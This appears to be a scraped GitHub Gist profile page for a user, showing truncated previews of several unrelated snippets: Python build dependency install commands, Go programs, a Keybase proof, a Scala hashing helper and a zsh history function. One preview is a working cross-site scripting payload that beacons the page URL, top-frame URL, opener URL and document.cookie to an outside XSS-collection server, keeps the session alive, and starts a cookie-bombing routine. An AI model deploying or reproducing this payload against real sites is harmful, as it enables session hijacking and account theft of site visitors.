Vic020

Step 1: Update System Packages

sudo apt update

Step 2: Install Required Dependencies

sudo apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev

Vic020

package main

import (
	"archive/zip"
	"bytes"
	"fmt"
	"gopkg.in/cheggaaa/pb.v1"
	"io"
	"io/ioutil"
	"log"

Vic020

Keybase proof

I hereby claim:

• I am vic020 on github.
• I am vicyu (https://keybase.io/vicyu) on keybase.
• I have a public key ASCtCTwiE6oy2Tv4n_F6tb8M_KLmA9Lmbv60t0O6tXUZMAo

To claim this, I am signing this object:

Vic020

package main

import (
	"net/http"
	"fmt"
	"io/ioutil"
	"encoding/json"
	"os"
	"path/filepath"
	"strings"

Vic020

/* Exercise: Images Solutions */

package main

import (
	"golang.org/x/tour/pic"
	"image"
	"image/color"
)

Vic020

import java.security.MessageDigest

object EncryptionUtil {
  def md5(string: String): String = MessageDigest.getInstance("MD5").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString

  def sha1(string: String): String = MessageDigest.getInstance("SHA-1").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString

  def sha224(string: String): String = MessageDigest.getInstance("SHA-224").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString

  def sha256(string: String): String = MessageDigest.getInstance("SHA-256").digest(string.getBytes("UTF-8")).map("%02x".format(_)).mkString

Vic020

(function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
function setCookies () {
    /*apache server limit 8192*/
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    for (i = 0; i < 10; i++) {
            var cookie = "ray"+i+"="+str+";path=/";

Vic020

zsh_stats () {
	fc -l 1 | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n20
}